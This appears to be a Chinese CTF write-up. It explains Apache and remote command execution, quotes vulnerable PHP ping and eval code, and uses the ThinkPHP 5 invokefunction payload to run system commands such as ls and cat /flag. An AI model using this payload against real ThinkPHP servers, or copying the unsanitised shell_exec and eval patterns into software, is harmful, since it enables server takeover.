本文已参与「新人创作礼」活动,一起开启掘金创作之路。
1,对Apache的了解
对Apache的了解跟本题没有关系,只是为了笔者的记录,方便记忆!想看题目的话,直接跳到第二大步!
Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。 它可以运行在几乎所有广泛使用的计算机平台上。 APACHE就是一个网络服务器,这个服务器侦听一个TCP端口,一般是80,对端口收到的命令进行解释,然后提交一些结果。APACHE解释的最主要的命令就是GET和POST,一般对应客户端在浏览器输入地址、浏览器里面点击链接和提交一个表单。APACHE对GET和POST命令进行解释的时候,如果GET和POST的对象是一个HTML、CSS、JS、RAR、TXT等一般文件,就直接把文件的内容发回客户端; 如果对象是一个PHP文件,APACHE就启用PHP.EXE程序(UNIX上名称不一样,而且安装为模块的细节又有不同,这里只是举例),把文件、调用的参数传递给PHP.EXE,然后把PHP.EXE执行的结果反馈给客户端。 PHP可以调用各种库执行各类功能,最典型的就是查询数据库。PHP.EXE解释执行PHP文本文件里面的语句,执行前一般不翻译,就象批处理一样。 APACHE可以配置多个类似PHP这样的过滤器,凡是XXX类的文件,都提交给XXX.EXE执行,把执行完毕的内容发送给浏览器,其它文件直接发送。APACHE就这么简单的、机械的执行。 转载博客:blog.csdn.net/mazhaer/art…
2 、了解什么是RCE
这里又涉及到一个概念:ping
RCE英文全称:remote command execute (远程代码执行漏洞)
远程命令执行漏洞:用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
RCE漏洞:我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统.
远程命令执行ping 后端的代码:
$result.=shell_exec('ping '.$ip);
远程代码执行evel 后端的代码:
if(@!eval($_POST['txt']))
代码不同的是:这里是PHP代码,而上面(远程命令执行ping)执行的是命令行。
3、代码执行
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=xxxxx(命令)
ls 指令是Linux下最常用的指令之一,也是一条非常古老的命令,它最早可追述到Unix系统,甚至更古老的Multics下相同的命令。 ls 一般打开终端的时候的默认位置是用户的文件夹, 所以ls命令一般都是“默认”列出用户文件夹下的目录。
ls查看
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
上一级 ls ../
根目录 ls /
我靠,根目录回显的东西百度翻译都翻译不出来
不过还是能够找到flag在这里的
也可以用fing命令行直接来查询
fing / -name flag
然后就是cat它
cat /flag
flag{thinkphp5_rce} flag{thinkphp5_rce}